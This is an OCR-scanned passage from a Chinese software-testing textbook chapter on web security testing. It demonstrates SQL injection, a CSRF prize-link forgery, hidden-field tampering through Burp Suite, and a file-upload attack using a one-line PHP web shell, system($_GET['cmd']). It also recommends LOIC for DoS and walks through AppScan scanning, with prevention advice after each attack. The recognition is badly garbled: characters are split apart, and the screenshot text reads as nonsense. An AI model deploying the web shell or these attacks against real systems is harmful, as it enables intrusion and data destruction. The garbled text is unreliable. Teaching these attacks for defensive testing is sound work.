[0] => Array 
( 
[uid] => 1 
[username] => xiaoqiang 
[1] => Array 
( 


[Tables_in_security demo] => user 


) 


图 11.8 结果 2 


(6) 至 此 证 明了 我 们 的 系统 存在 SQL 注入 ,如果 构 造 删除 数据 的 SQL， 
可 想 而 知 后 果 是 很 可 怕 的 。 


3. SQL 注入 预防 


通过 SQL 注入 的 概念 我 们 知道 之 所 以 存在 这 样 的 漏洞 就 是 因为 SQL 
语句 被 算 改 ,因此 我 们 的 预防 就 是 要 检查 SQL 语句 中 的 变量 数据 的 格式 是 
否 正确 。 预 防 方法 包括 但 不 限于 如 下 几 种 。 
。 数据 和 语句 要 区 分 ,在 数据 拼接 到 SQL 语句 之 前 就 要 做 校 验 。 
。 绑 定 变量 使 用 预 编 译 语句 。 
。 现在 好 一 点 的 系统 在 SQL 方面 都 是 用 的 框架 或 者 高 级 API, 存 在 
SQL 注入 的 可 能 性 比较 小 ,但 是 老 一 点 的 系统 还 是 有 不 少 这 样 的 
问题 。 


11.5.3 CSRF 跨 站 请 求 伪造 攻击 
1. CSRF 是 什么 


CSREF 的 全 英文 是 Cross Site Request Forgery ,中 文 翻译 为 跨 站 请 求 伪 
造 。 很 多 朋友 会 把 XSS 和 CSRF 混淆 ,觉得 是 一 样 的 ,其 实 不 是 。 最 直接 的 
区 别 就 是 XSS 通过 一 个 真正 的 请 求 来 获取 信息 ,而 CSRF 则 是 伪造 一 个 假 
其 实 我 们 经 常 在 上 网 的 时 候 会 遇 到 这 样 的 场景 ,比如 ,突然 弹出 “恭喜 
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你 中 奖 了 ”之 类 的 窗口 ,你 就 会 去 点 击 这 个 链接 ,那么 它 可 能 就 是 伪造 的 
CSRF。 


2. CSRF 攻击 实战 


本 次 为 了 让 大 家 更 加 直观 地 理解 CSRF 攻击 ,我 们 在 本 地 进行 了 编码 
用 来 演示 ,大致 步骤 如 下 。 

(1) 编写 data. json, 里 面 存 放 一 个 json 串 , 这 样 就 不 需要 数据 库 了 , 相 
当 于 一 个 简易 的 Mock。 代 码 如 下 : 


{"id":1, "username" :" 小 强 "} 


(2) 编写 csrf_demo. php, 完 成 读 取 data. json 中 的 数据 ,相当 于 模拟 了 
登录 成 功 的 业务 。 代 码 如 下 : 


<?php 

$data = json decode(file get contents('data. json'), true); 
if ( $ data[ 'username']) { 

setcookie( 'uid', $ data[ 'id'], 0); 

echo " { $ data[ 'username']}, 登录 成 功 < br >"; 


运行 上 述 代 码 的 结果 如 图 11.9 所 示 。 


| @ localhost/security demo/csrf/csrf demo.php 


小 强 ， 登 录 成 功 


图 11.9 结果 1 


(3) 编写 csrf_hack. php, 这 个 就 是 伪造 的 请 求 , 如 果 用 户 点 击 了 则 会 无 
感知 地 修改 data. json 中 的 值 。 代 码 如 下 : 


<?php 

We 

<a href = "http://localhost/security_ demo/csrf/get — update. php? uid = 
lgusername = 测试 帮 日 记 " > 恭喜 你 中 了 小 米 666 手机 一 部 ,点 我 进行 领取 </a> 


执行 上 述 代码 之 后 点 击 超级 链接 , 你 会 发 现 默默 地 把 username 的 值 从 
小 强 改 为 了 测试 帮 有 日 记 , 如 图 11. 10 所 示 。 
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(名 图 localhost/security demo/csrf/csrf hack.php 


恭喜 你 中 了 小 米 666 手 机 一 部 ， 点 我 进行 领取 


(€ @ localhost/security demo/csrf/get-update.php?uid=1&usern: 
Bs 


用 户 名 已 更 改 为 测试 帮 日 记 


图 11.10 结果 2 


3. CSRF 预防 


一 般 的 预防 方法 包括 但 不 限于 如 下 几 种 。 

(1) 使 用 POST 方式 修改 信息 。 虽 然 POST 方式 不 是 绝对 安全 的 ,但 至 
少 比 GET 方式 直接 暴露 参数 好 多 了 。 

(2) 请 求 中 增加 Refer 字段 ,也 就 是 本 次 请 求 的 来 源 地 址 ,这 样 就 可 以 
通过 判断 Refer 来 辨别 是 否 为 伪造 的 请 求 了 。 

(3) 关键 操作 加 入 验证 码 。 

(4) 加 密 cookie 信息 。 也 就 是 对 cookie 进行 Hash 后 的 值 与 服务 器 端 
Hash 值 进行 校 验 , 阁 通 过 则 是 合法 的 请 求 。 

(5) 引入 token 有 效 期 。 那 么 token 是 什么 呢 ?” 其 实 是 服务 器 端 产生 
的 , 当 表 单 被 提交 的 时 候 , 服 务 器 端 检查 一 个 表单 里 面 的 token 跟 自己 之 前 
记录 下 来 的 是 否 匹 配 ,匹配 才 会 进行 后 续 工 作 。 


11.5.4 表单 攻击 
1. 表单 攻击 是 什么 


从 它 的 命名 上 也 能 看 出 来 ,就 是 对 类 似 登录 这 样 的 表单 进行 攻击 , 比 
如 : 对 隐藏 域 进行 拦截 ,然后 自 改 之 后 发 送 。 很 多 地 方 也 称 为 绕 过 客户 端 
验证 。 

这 里 有 必要 给 大 家 普及 隐藏 域 的 概念 和 作用 ,因为 从 接触 到 的 朋友 中 
发 现 很 多 人 不 知道 隐藏 域 是 什么 , 太 尴 做 了 ! 隐藏 域 说 简单 点 就 是 隐藏 值 
不 让 其 在 页 面 显示 ,代码 格式 : 


< input type = "hidden" name="..." value="..."> 


它 的 作用 就 是 承接 上 下 变量 值 的 传递 ,而 这 些 变量 值 又 不 想 在 页 面 显 
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示 , 所 以 就 采用 隐藏 域 。 
2. 表单 攻击 实战 


此 处 我 们 就 以 经 常见 的 隐藏 域 为 例 进行 实战 ,其 他 的 都 可 以 使 用 该 方 
法 进行 ,攻击 思路 是 一 样 的 。 大 致 步骤 如 下 。 

(1) 准备 被 攻击 的 表单 ,源码 如 下 ,其 中 可 以 看 到 age 字段 为 隐藏 域 , 默 
认 值 为 88: 


<html> 

<body> 

< form action = "/example/html/form action.asp" method = "get"> 
名 字 :< input type = "text" name = "username">< br> 

< input type = "text" name = "age" value = "88" hidden = "hidden"> 
< input type = "submit" value = "提交 "> 

</form> 

</body> 

</html > 


(2) 火狐 浏览 器 访问 : http://w3school. com. cn/tiy/t. asp?f 一 heml_ 


basic, 把 源码 粘贴 到 此 处 并 单 击 “ 提 交 ” 按 钮 即 可 看 到 效果 ,如 图 11. 11 
所 示 。 


名 字 :[ 
<form action="/example 提交 
/html/form action.asp" method="get"> 


名 字 :<input type="text" name="username"><br> 
<input type="text" name="age" value="88" 
hidden="hidden"> 

<input type="submit"” value=" 提 交 "> 

</form> 

</body> 

</html> 


图 11.11 代码 


(3) 配置 火狐 浏览 器 的 代理 ,依次 选择 菜单 “工具 ”一 “选项 ”一 “高 级 ”一 
“网 络 ”>“ 连 接 ” 一 “设置 ”, 按 图 11. 12 所 示 设 置 。 当 测试 完成 之 后 记得 要 把 
代理 关 掉 ,和 否则 可 能 会 导致 无 法 上 网 。 

(4) 通过 java -jar burpsuite-1. 4. 07. jar 命令 启动 burpsuite, 该 工具 用 
来 拦截 和 算 改 请 求 。 启 动 之 后 依次 选择 菜单 proxy 一 options, 按 
图 11.13 所 示 设 置 ,要 保证 和 在 火狐 中 的 IP、 端 口 一 致 。 

(5) 在 burpsuite 中 切换 到 intercept 标签 , 当 显 示 intercept is on 时 表 
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©OFNERft MM) | 
HTTP 代理 : 127.00.1 | 端口: 四 |_ 8888 局 
为 所 有 协议 使 用 相同 代理 (S) 
SSL 代理 : 端口 : (O) 0 自 
ETP 代理 : 端口: (R) 0 外 
SOCKS 主机 : 端 D: 0 0 加 
O SOCKSv4 图 SOCKSv5 


图 11.12 代理 


target 加 本 scanner | intruder | repeater | sequencer | decoder comparer | options 
intercet | options | history 


interface invisible cert 
127.0.0.1:8888 国 | per-host 


图 11.13 proxy 


示 开 启 拦截 , 当 显 示 intercept is off 时 表示 关闭 拦截 。 此 处 保证 开启 拦截 。 
(6) 在 刚才 的 表单 中 填 入 姓名 “小 强 ”, 单 击 “ 提 交 ” 按 钮 ,这 时 候 发 现 
burpsuite 拦截 了 请 求 ,具体 如 下 : 


GET /example/html/form action.asp?username = % DO % Al % C7 % BF&age = 88 HTTP/ 
让 

Host: w3school. com. cn 

User — Agent: Mozilla/5. 0 (Windows NT 6. 3; WOW64; rv:24.0) Gecko/20100101 
Firefox/24.0 

Accept: text/html, application/xhtml + xml, application/xml;q= 0.9, */*;q= 
0.8 

Accept ~ Language: zh— cn,zh;q= 0.8,en~— us;q= 0.5,en;q= 0.3 

Accept ~ Encoding: gzip, deflate 

Referer: http://w3school. com. cn/tiy/v.asp 

Cookie: ASPSESSIONIDSQSQRSDD = PMIDAMMDPONMGNOFBLBGFBMJ 


Connection: keep ~ alive 
(7) 我 们 对 隐藏 域 字段 age 进行 算 改 , 改 为 18( 直 接 在 拦截 的 请 求 上 删 


除 88 改 为 18 即 可 ) ,之 后 单 击 forward 按钮 ,观察 结果 ,如 图 11. 14 所 示 ,我 们 
可 以 看 到 自 改 的 请 求 被 正常 处 理 了 ,也 证 明了 存在 这 样 的 漏洞 。 
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接收 到 的 输入 如 下 : 
Username=%D0%A1%C7%BF&age=18 


入 国 入 从 拓 这 证 全 是 玫 国 的 = 服务 器 已 经 处 理 了 | 
您 的 输入 ， 并 返回 结果 。 


图 11.14 结果 


3. 表单 攻击 预防 


一 般 的 预防 方法 包括 但 不 限于 如 下 几 种 。 

(1) 最 好 的 预防 就 是 前 端 \ 后 端 都 要 做 校 验 。 尤 其 是 后 端 绝对 不 要 轻易 
相信 前 端 传递 过 来 的 数据 ,一 定 要 再 次 验证 。 

(2) 重要 数据 可 以 加 密 。 

(3) 使 用 token 有 效 期 。 在 CSRF 跨 站 请 求 伪造 攻击 中 解释 过 , 它 也 是 
预防 CSRF 攻击 的 有 效 手段 之 一 。 


11.5.5 文件 上 传 攻击 
1. 文件 上 传 攻击 是 什么 


文件 上 传 攻击 是 指 通 过 上 传 可 执行 的 脚本 文件 来 攻击 服务 器 。 比 如 ， 
通过 一 个 上 传 功能 上 传 一 个 PHP 脚本 ,这 个 脚本 是 删除 某 些 数据 的 ,如 果 
被 攻击 程序 执行 了 这 个 脚本 则 后 果 很 严重 


2. 文件 上 传 攻击 实战 


本 次 实战 的 基本 思路 是 上 传 一 个 可 执行 的 PHP 文件 ,如 果 可 以 上 传 成 
功 , 那 么 我 们 远程 直接 访问 服务 器 地 址 和 可 执行 的 PHP 文件 名 即 可 进行 攻 
击 。 大 致 步骤 如 下 。 

(1) 编写 upload_demo. php, 实 现 一 个 文件 上 传 的 表单 提交 页 面 , 代 码 
如 下 : 


< htm]l > 

<head > 

<meta charset = "utf 一 8"> 
<title> 大 话 软件 测试 </title> 
</head > 
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<body> 
< form action = "upload_file. php" method = "post" enctype = "multipart/form 一 
data"> 
< label for = "file"> 文 件 名 :</label> 
< input type = "file" name = "file" id= "file"><br> 
< input type = "submit" name = "submit" value = "提交 "> 
</form> 
</body> 
</html > 


执行 效果 如 图 11. 15 所 示 。 


了 区 : 于 于 | 未 选择 文件 。 
| 提 


图 11.15 上 传 文件 


(2) 编写 upload_file. php ,完成 上 传 文件 的 处 理 。 这 里 只 是 对 上 传 文件 


的 信息 做 了 回 显 , 并 没有 其 他 处 理 。 代 码 如 下 : 


<?php 
if ( $ _FILES["file"]["error"] > 0) 
{ 


echo "错误 :" . $ _FILES["file"]["error"] . "<br>"; 

} 

else 

{ 

echo "上 传 文件 名 : " . $ _FILES["file"]["name"] . "<br>"; 

echo "文件 类 型 : " . $ _FILES[ "file"]["type"] . "<br>"; 

echo "文件 大 小 : " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; 


echo "文件 临时 存储 的 位 置 : " . $ _FILES["file"]["tmp_name"]; 
} 


?> 


(3) 编写 upload_hack. php, 这 个 就 是 恶意 的 攻击 文件 ,只 要 可 以 上 传 成 


功 就 能 远程 执行 了 。 代 码 如 下 : 


<?php 
System( $ _GET[ 'cmd'] ) 
?> 


(4) 在 upload_demo. php 页 面 上 传 upload_hack. php 文件 ,上 传 结果 如 


图 11. 16 所 示 ,表示 可 以 成 功 。 
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上 传 文件 名 : upload_hack. php 
文件 类 型 : application/octet-stream 
文件 大 小 : 0. 03125 kB 


文件 临时 存储 的 位 置 : D:\software\wamp64\tmp\php163A. tmp 


图 11.16 结果 1 


(5) 远程 运行 如 下 代码 , 即 可 看 到 当前 文件 所 处 的 目录 结构 ,如 图 11. 17 
所 示 ( 乱 码 可 以 暂时 忽略 )。 如 果 换 成 了 其 他 可 以 删除 的 命令 就 能 把 文件 都 
删除 了 。 


DOcIOOY HKD 999099999r88 9253-0FF3 D:\software\wampe4 
www\security_demo\upload HL 2018/01/01 00:59 


. 2018/01/01 00:59 


2018/01/01 00:45 355 upload_demo. php 2018/01/01 00:46 398 upload file.php 
2018/01/01 01:05 83 upload hack. php 3 @@6@I@ 336 @@ 2 HAL 32,724, 226, 04 


图 11.17 结果 2 
3. 文件 上 传 攻击 预防 


一 般 的 预防 方法 包括 但 不 限于 如 下 几 种 。 
(1) 限制 上 传 文件 大 小 。 比 如 ; 在 PHP 中 设置 post_max_size 和 


upload_max_filesize; 在 Java Struts2 中 设置 struts. multipart. maxSize。 
(2) 不 能 简单 地 通过 后 级 来 判断 文件 类 型 ,比如 . 把 txt 后 级 的 改 为 jpg。 
(3) 更 改 保存 上 传 临时 文件 目录 的 地 址 , 尽 可 能 不 要 暴露 文件 上 传 

路 径 。 

(4) 上 传 的 文件 不 要 保存 在 公开 的 文件 夹 内 ,可 以 将 文件 名 称 设 为 没有 

扩展 名 的 随机 文件 名 。 


(5) 上 传 目 录 要 设置 不 可 执行 的 权限 。 


11. 5.6 Dos 拒绝 服务 攻击 
1. Dos 是 什么 


Dos 的 全 英文 为 Denial of Service, 是 通过 某 种 手段 ,如 不 断 发 送 HTTP 


请 求 给 目标 网 站 ,使 得 网 站 或 者 网 络 出 现 问题 ,从 而 导致 用 户 无 法 访问 目标 
网 站 。 


另外 ,还 有 一 个 叫做 DDoS 的 分 布 式 拒绝 服务 攻击 ,大 家 一 定 对 它 很 茫 
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然 ,其 实 它们 之 间 的 区 别 非常 简单 。 如 果 是 使 用 一 台 计 算 机 对 目标 网 站 发 
动 攻 击 , 那 就 是 DoS。 如 果 是 使 用 很 多 计算 机 对 目标 网 站 发 动 攻击 , 那 就 是 
DDoS 了。 

在 全 球 曾 发 生 过 多 起 DDoS 的 分 布 式 拒绝 服务 攻击 。 比 如 : 

。 2015 年 8 月 锤子 手机 官方 网 站 遭 到 高 达 数 十 G 流量 的 DDoS 攻击 ， 

一 度 面 临 全 面瘫 痪 风险 。 

。 2016 年 4 月 Lizard Squad 组 织 对 暴雪 公司 战 网 服务 器 发 起 DDoS 攻 
击 , 包 括 ( 星 际 争霸 2 兴 魔 兽 世 界 兴 暗黑 破坏 神 3) 在 内 的 重要 游戏 作 
品 离线 宕 机 ,玩家 无 法 登录 。 
据 报告 (游戏 行业 DDoS 态势 报告 ) 显 示 ,2017 年 1 月 至 6 月 ,游戏 行 
业 大 于 300G 以 上 的 攻击 超过 1800 次 ,最 大 峰值 为 608G; 游戏 公司 
每 月 平均 被 攻击 次 数 为 800 余 次 ; 在 2017 年 1 月 至 3 月 为 攻击 最 独 
狐 的 时 期 ,平均 每 天 有 30 多 次 攻击 。 


2. DoS 攻击 实战 


DoS 攻击 的 门槛 比较 低 , 稍 微 会 一 些 计 算 机 知识 和 网 络 命令 的 朋友 都 
可 以 进行 。 这 里 我 们 推荐 一 款 小 巧 的 工具 LOIC, 它 是 比较 受 欢迎 的 DoS 攻 
击 工 具 。 它 可 以 通过 使 用 单个 用 户 执 行 DoS 攻击 小 型 服务 器 。 这 个 工具 执 
行 DoS 攻击 ,通过 发 送 UDP、TCP 或 HTTP 请 求 到 目标 服务 器 ,你 只 需要 
知道 服务 器 的 IP 地 址 或 URL, 其 他 的 就 交 给 这 个 工具 去 执行 即 可 ,如 图 
11.18 所 示 。 除 此 之 外 , 像 XOIC、HTTP Unbearable Load King、OWASP 
DOS HTTP POST、DAVOSET 等 都 可 以 尝试 。 


3. DoS 预防 方法 


对 于 DoS 的 攻击 并 没有 太 好 的 解决 方法 , 需 提 前 预防 。 常 见 的 预防 方 
法 包括 但 不 限于 如 下 几 种 。 

(1) 网 络 入 口 增加 过 滤 机 制 ,以 防止 假 信 息 包 进入 网 络 。 

(2) 网 络 流量 速率 限制 。 

(3) 利用 第 三 方 工具 进行 检测 监控 ,比如 : EtherApe、Sniffer 都 可 以 实 
时 显示 网 络 连接 情况 ,如 果 遇 到 DoS 攻击 ,就 会 显示 出 密密麻麻 的 连 线 。 

(4) 多 备 点 IP 地 址 和 路 由 器 ,在 发 生 拒 绝 服 务 攻 击 时 可 以 进行 切换 。 

(5) 在 防火 墙 上 运行 端口 映射 程序 或 端口 扫描 程序 ,认真 检查 特权 端口 
和 非特 权 端 口 。 


大 话 软 件 测试 动 化 及 


IMMA CHARGIN MAH LAZER 


图 11.18 LOIC 


(6) 硬件 ,比如 专门 防止 DoS 攻击 的 社保 。 


11.6 安全 测试 扫描 工具 精 要 


安全 测试 扫描 工具 常见 的 就 是 漏洞 扫描 。 所 谓 的 漏洞 扫描 就 是 通过 工 
具 制 定 一 定 的 策略 来 扫描 应 用 程序 等 ,找到 可 能 存在 的 各 种 漏洞 ,最 终 以 报 
告 的 形式 展现 出 来 。 本 节 将 和 大 家 分 享 几 款 常见 工具 的 基本 用 法 。 


11.6.1 AppScan 


AppScan 是 IBM 旗下 的 一 款 Web 应 用 程序 和 Web 服务 渗透 测试 工 
有 具 ,功能 强大 ,操作 相对 来 说 也 不 算 复杂 ,下 载 地 址 : http://www-03. ibm. 
com/cn-zh/marketplace/ibm-appscan-source。 


1. 工作 原理 


一 般 漏洞 扫描 工具 的 工作 原理 都 大 同 小 异 。 先 息 行 整个 Web, 然 后 发 
送 修改 过 的 请 求 到 服务 器 ,再 根据 服务 器 的 返回 数据 分 析 是 否 存在 漏洞 ,如 
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图 11. 19 所 示 。 


| 攻击 请 求 | 
扫描 规则 库 响应 数据 服务 器 


图 11.19 工作 原理 


2. 快速 实战 


本 节 将 通过 一 个 简单 的 实例 来 介绍 如 何 使 用 AppScan 进行 漏洞 扫描 。 
这 里 特别 要 强调 ,基本 所 有 的 漏洞 扫描 工具 的 操作 方法 都 差不多 ,大 家 要 学 
会 变通 应 用 ,而 不 是 死板 记忆 。 

快速 实战 的 大 致 步 又 如 下 。 

(1) 启动 具有 漏洞 的 服务 系统 ,访问 地 址 为 : 

http://localhost/security_demo/xss_demo. php? param 一 aaa。 

(2) 启动 AppScan, 依 次 选择 “文件 ”一 “新 建 扫描 ”一 “常规 扫描 ”如 
图 11. 20 所 示 。 


so | 编辑 (E) ”查看 V) ”扫描 (S) ”工具 (D 。 帮助 (H) 
Br- 辣 电 | 昌 扫 入 - 固 斩 售 网 手动 探索 国 亚 意 软 件 则 式 | 闫 扫 棋 配置 钨 扫描 专家 (P) - 辆 扫描 日 志 月 | 六 报告 前 


入 © 六 安排 依据 : 严重 性 递 下 
修复 任 务 “应 用 各 序数 所 岛 安全 性 问题 : 没有 要 显示 的 结 刚 


最 近 的 模板 


区 demo.testfire.net 

碟 浏览- 蜀 快速 日 简便 的 扫 棋 
说 综合 扫 杠 
蜀 基干 参 痢 的 导航 


说 WehSnhere Commerce 
蜀 WehSnhere Portal 
说 demo.testfire_net 


图 11.20 扫描 1 


(3) 默认 选择 “Web 应 用 程序 扫描 ”, 单 击 “ 下 一 步 ” 按 钮 ,之 后 填写 URL 
地 址 ,并 勾 选 “ 仅 扫 描 此 目录 中 或 目录 下 的 链接 ”, 如 图 11. 21 所 示 。 
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他 起 始 URL 

从 该 VEL 启动 扫描 : 
http://localhost/security_deno/xss_demo. php?paran=aaa 
V0: http://demo. testfire. net/ 

| 仅 扫 描 此 目录 中 或 目录 下 的 链接 


急 区 分 大 小 写 的 路 径 
| 将 所 有 路 径 作为 区 分 大 小 写 来 处 理 〔Unix、Linux 等 ) (DD) 


图 11.21 扫描 2 


(4) 点 击 “ 下 一 步 ” 按 钮 之 后 ,可 以 看 到 如 图 11. 22 所 示 的 界面 ,这 个 是 
可 选 的 步骤 ,如 果 你 的 漏洞 扫描 涉及 登录 操作 ,在 这 里 可 以 进行 录制 或 者 设 
置 ,这 样 在 扫描 的 时 候 就 可 以 免 登录 了 。 我 们 这 里 不 涉及 登录 ,所 以 选择 


蕊 登录 方法 
使 用 以 下 方法 ， 以 登录 应 用 程序 


口 记录 (推荐 ) (四 里 记录 ( 团 ..， 血 导 入 (也 
区 使 用 以 下 登录 序列 登录 应 用 程序 : 
口 自动 (AD) 

加 无 (人 


fa 已 禁用 会 话 中 检测 。 


<“ 上 一 步 田 | [TF-S(y> | 取消 (O) 
图 11.22 扫描 3 


(5) 测试 策略 处 如 果 没 有 特殊 的 需要 ,保存 默认 即 可 ,当然 ,如 果 你 只 是 
想 扫描 关键 的 .比较 重要 的 漏洞 , 则 可 以 更 改 为 “关键 的 少数 ”, 如 
图 11. 23 所 示 。 这 里 的 测试 策略 都 是 可 以 调整 和 修改 的 ,你 也 可 以 根据 实 
际 情况 创建 自己 的 策略 。 

(6) 在 完成 扫描 配置 向 导 处 选择 “我 将 稍 后 启动 扫描 ”, 之 后 单 击 “ 完 成 ” 
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各 测试 策略 ee 


使 用 该 “测试 策略 ”进行 扫描 。 
ETIEIESDTE TI 


》 


策略 文件 
最 近 的 策略 
缺 省 值 
关键 的 少数 
印 浏 览 … 
预定 义 的 策略 
司 缺 省 什 
仅 应 用 程序 
仅 基础 结构 
加 侵入 式 
加 完成 
为 Web Service 
关键 的 少数 
开发 者 精 要 


回 发 送 登录 和 注销 页 面 上 的 测试 (了 
回 在 测试 登录 页 面前 清除 会 话 标识 (3) 


< 上 一 步 (@) 取消 (O) 


图 11.23 扫描 4 
按钮 ,如 图 11. 24 所 示 。 


蕊 完成 扫描 配置 向 导 
您 已 成 功 完成 “扫描 配置 向 导 ”。 


您 想 要 如 何 启动 ? 
口 启 动 全 面 自动 扫描 (A) 
口 仅 使 用 自动 “探索 ”启动 (E) 
口 使 用 “手动 探索 ”启动 (W) 
@ 我 将 稍 后 启动 扫描 (LD) 


完成 “扫描 配置 向 导 ” 后 启动 “扫描 专家 ”(S) 


《< 上- 步 加 |[ 完成 加 | | 取消 (9 


图 11.24 扫描 5 


性 能 、 自 动 化 及 团队 管理 小， 
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(7) 回 到 软件 主 界面 之 后 选择 快捷 菜单 “扫描 配置 ,可 以 看 到 很 多 设 
置 ,这 里 我 们 选择 “测试 策略 ”一 项 来 看 ,如 图 11. 25 所 示 。 我 们 发 现 扫 描 的 
项 非常 多 ,这 也 就 是 为 什么 很 多 朋友 疑惑 的 扫描 怎么 这 么 慢 的 原因 之 一 了 ， 
毕竟 扫描 的 项 目 多 啊 。 所 以 建议 大 家 在 扫描 的 时 候 还 是 要 有 目标 地 选择 扫 
描 项 。 


i ce 
Ue 和 了 和 器 
全 eu | ov [cy 
区 -类 型 到 ~ 
+ 测试 名 称 严重 性 。 使 用 .。 类 型 ” ” 便 -。 WASC 威 助 分 类 
探索 过 而 时 [| 无 签名 的 “VIEWSTATE 参数 邻 低 是 应 用 程序 否 。 未 辑 攻 击 类 型 : 功能 洲 用 
关于 和 coobe 盏 | 系统 帐户 名 检索 @ 低 是 基础 结构 人 否 。 信息 泄 璐 类型 ， 信 息 淮 囊 
Fr 名 | 新 闻 更 新 访问 控制 路 @ 高 ”是 至 碰 结 构 惫 ”授权 类 型 :授权 不 充分 
南面 旬 || 已 解密 的 VIEWSTATE 参数 令 低 是 应 用 程 计 贫 信息 泄 器 类型; 信息 浴 宫 
多 步 所 作 晶 hv| 己 解密 的 登录 请 求 里 中 是 应 用 程序 舍 。 应 用 程序 隐私 测试 
i 名 巨 解 弯 的 敏感 煞 据 中 低 ”是 应 用 程序 至 。 应 用 程序 隐私 测试 
失 冉 || 晶 受 攻击 的 Activex 控件 的 用 途 里 中 是 基础 结构 贫 。 远 辑 攻 击 类 型 : 功能 洲 用 
a 别 hv| 隐藏 参 数 中 的 电子 部 件 地 址 加 参考 是 。 应 用 程序 备 ”还 辑 攻 击 类 型 ， 功 能 滥用 
平台 认证 出 || 应 用 程序 错误 国 参 考 -， 是 应 用 程序 省 。 应 用 程序 质量 测试 
由 [| 应 用 程序 错误 一 入 侵 检查 四 疙 专 是 民有 让 训 是 忆 有 六 扣 量 刘斌 
于 [| 应 用 程序 调试 方式 实施 中 低 是 应 用 程序 否 。 逐 辑 攻击 类 型 : 功能 滥用 
Wit 大 出 | | 应 用 程序 路 径 洲 出 四 高 是 基础 结构 是 。 命令 执行 类 型 级 冲 区 洲 出 
竺 公升 各 鲁 |s| 应 用 程序 逻辑 subversion 邻 低 是 应 用 程序 和 。 信息 潍 囊 类 型 : 信 乞 港 癌 
开间 移 人 田 || 应 用 程序 输入 限制 旁 路 令 低 是 应 用 程序 等 。 信 息 沪 宫 类 型 信息 港 剖 
上 | 悍 忆 六 得 Subvarhin 所 层级 册 对 vent 管 。 多 定 。 巷 。 车 舍 由 如。 扣 权 类 : 扫 权 和 人 
别 岂 | 永久 Cookie 包含 敏感 的 会 话 信息 @ 高 ”是 应 用 程 订 贫 授权 类 型 :会 话 期 限 不 充分 
ee 四 | 四 远程 RSS 订阅 源 包含 四 基 考 - 盘 。。 攻 有 这 盆 。 光 各 放 吉 类 人 -功用 尖 用 
各 hw| 针对 文件 Ena oo ht 跨 站 点 脚本 编 ”中 是 基础 结构 性 客户 RR 路 站 点 脚本 ， 
重 |v| 直接 访问 管理 页 面 令 低 是 应 用 程序 健 “信息 溢 窜 类 型 : 可 预测 摧 源 定位 
四 |s| 指数 目录 列表 和 今 低 是 基础 结构 公信 息 泄 荐 类 型 ， 目录 索 引 
各 he| 主机 允许 从 任何 域 进行 flash 访问 @ 丙 是 应 用 程序 贫 客户 端 攻 击 类 型 : 器 站 点 脚本 ， | 
别 |w| 注销 后 会 话 未 失效 9 而 是 应 用 程序 省 。 授权 关 型 : 会 话 期 限 不 无 分 四 
RE re 
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(8) 依次 单 击 菜单 中 的 “扫描 ”一 “完全 扫描 ”, 之 后 稍 等 片刻 就 会 出 现 扫 
描 结 果 , 如 图 11. 26 所 示 。 可 以 看 出 它 发 现 了 XSS 漏洞 ,并 给 出 了 描述 、 修 
订 建 议 等 ,可 谓 是 非常 贴心 , 且 都 是 中 文 的 哦 。 


丽 王 55 点 暑 本 斑 逢 21 

田 国 http: 站 

日 鸭 http://localhost/security_demo/xss_demo. php (1) 
@ 


图 11.26 扫描 7 


(9) 一 般 发 现 漏洞 之 后 我 们 还 是 要 看 分 析 结 果 的 , 单 击 Tab 页 签 “ 问 题 
信息 ”可 以 看 到 具体 的 攻击 方法 ,如 图 11.27 所 示 。 同 时 AppScan 也 贴心 地 
给 出 了 解决 漏洞 的 方法 , 单 击 Tab 页 签 “修订 建议 ” 即 可 查看 。 

(10) 最 后 ,如 果 你 不 会 写 报告 ,那么 AppScan 也 可 以 帮 到 你 ,只 需 单 击 
菜单 上 的 “报告 ”按钮 ,选择 要 生成 报告 的 选项 即 可 。 

如 果 大 家 想 测 测 你 们 系统 是 否 存在 安全 漏洞 ,可 以 参考 本 节 的 步骤 来 
进行 ,基本 上 只 需要 对 扫描 的 路 径 以 及 扫描 策略 进行 配置 ,其 余 的 可 以 保持 
默认 ,也许 你 会 发 现 不 少 惊喜 哦 ! 

到 这 里 你 以 为 完了 吗 ? NO! 我 们 来 小 试 牛刀 看 看 怎么 完成 安全 测试 
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全 问 用 信息 Ww 次 久 个 条 建议 4 次 求 呐 应 


呈现 测试 响应 加 an 
aaa 
ES ed 
Cs 
SA. 
Sm 


图 11.27 扫描 8 


的 自动 化 运行 。 听 起 来 高 大 上 ,其 实 思 路 很 简单 ,就 是 利用 AppScan 中 的 扫 
描 调度 程序 和 Windows 的 计划 任务 配合 完成 。 大 致 实现 步 又 如 下 。 

(1) 启动 AppScan, 依 次 选择 “工具 ”一 “扫描 调度 程序 ”>“ 新 建 ”, 填 写 
必要 的 信息 并 保存 ,如 图 11. 28 所 示 。 

(2) 在 控制 面板 中 的 任务 计划 里 找到 刚才 建 好 的 调度 ,选择 “属性 ”一 
“触发 器 ”, 这 里 可 以 设置 更 为 丰富 的 时 间 设 定 , 如 图 11. 29 所 示 。 

(3) 以 上 设置 完成 后 “坐等 ”自动 运行 即 可 ,运行 的 时 候 会 显示 进度 等 信 
息 ,还 是 非常 人 性 化 的 。 

其 实 所 有 的 自动 化 都 是 这 个 原理 ,无 非 是 有 些 软件 或 框架 自 带 了 类 似 
任务 计划 的 功能 而 已 ,性 能 测试 如 此 ,自动 化 测试 亦 然 , 所 以 思想 还 是 要 高 
于 技术 的 。 


团队 管理 


Xx] 
名 称 :| 中 3 有 软件 则 试 病 儿 讲义 
前 扫描 人 J 
〇 保存 的 扫描 (3S) 
重复 
O 〇 每 BD 开始 日 其 
加 每 周 (WD Polay LU11 EE 
〇 每 月 人 D 开始 时 间 
1 Le 
〇 没有 重 夏 ( 功 [22:00 四 
限制 扫描 时 间 (以 分 为 单位 》 
停止 并 保存 在 其 后 : 4320 
(1 - 60000) 
本 地 机 器 登录 
输入 用 户 名 和 密码 。 进 程 将 如 同 由 该 用 户 启动 一 样 运行 。 
域 : ， 
用 户 名 : “ 
密码 : 
a Ez 
图 11.28 调度 设置 
© J 4X 尾 性 [二 地 计 芮 人) 
第 规 。 各 发 器 扣 作 条件 设置 历史 记录 “| 开始 任务 (GO | 护 乱 二 i 划 四 
便于 任务 时 ， 可 以 指定 能 发 滨 任 务 的 条 件 府 公 - 
Ox | Ta: Eran B-|Em% EO sae 
多 器 We Oe 
a 每 周 的 星期 四 的 2200 时 ， Ou || cl 加 


OsAMw | OY Ow Om- Oe=m 
回 于) 口 5D 口 县 六 (R) 


高 级 设置 
口 人 最 SS 巡 RN 时 间 ( 随 WWSR)(9: 1 时 
9 El 持 洋 时 间 虽 : |1 天 


重复 持续 时 间 结 率 时 停止 所 有 运行 的 任务 0 
